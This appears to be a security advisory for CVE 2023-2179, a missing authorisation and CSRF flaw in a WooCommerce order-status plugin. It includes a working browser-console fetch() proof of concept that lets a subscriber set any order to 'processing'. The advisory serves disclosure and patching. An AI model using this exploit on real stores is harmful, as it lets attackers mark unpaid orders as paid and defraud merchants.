WooCommerce Order Status Change Notifier <= 1.1.0 – Subscriber+ Arbitrary Order Status Update | CVE 2023-2179

Description

The plugin does not have authorisation and CSRF when updating status orders via an AJAX action available to any authenticated users, which could allow low privilege users such as subscriber to update arbitrary order status, making them paid without actually paying for them for example

Proof of Concept

Run the below command in the developer console of the web browser while being logged in as a subscriber, this will change the status of the order #337 to processing

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wc_osc_update_order_status_comment&method=change_status&order_id=337&status=processing',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));